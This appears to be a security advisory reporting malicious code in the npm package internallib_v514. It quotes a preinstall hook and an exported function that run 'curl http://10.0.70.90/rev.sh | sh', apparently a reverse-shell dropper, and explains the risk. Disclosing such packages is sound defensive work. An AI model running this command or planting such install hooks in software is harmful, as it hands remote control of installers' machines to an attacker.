    Summary: Malicious code in internallib_v514 (npm)

    Details: Source: amazon-inspector (1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea) package.json declares a preinstall lifecycle hook that runs `curl http://10.0.70.90/rev.sh | sh`, fetching an unpinned shell script from a bare internal IP over plain HTTP and piping it to sh. This executes automatically on `npm install`, granting the operator of 10.0.70.90 arbitrary code execution on the installer's host. In addition, index.js exports a `command` function whose body invokes `require("child_process").execSync("curl http://10.0.70.90/rev.sh | sh")`, providing a second remote-code-execution path through the library's public API. The remote payload is unpinned, unverified, served over cleartext HTTP, and named `rev.sh` — consistent with a reverse-shell dropper.
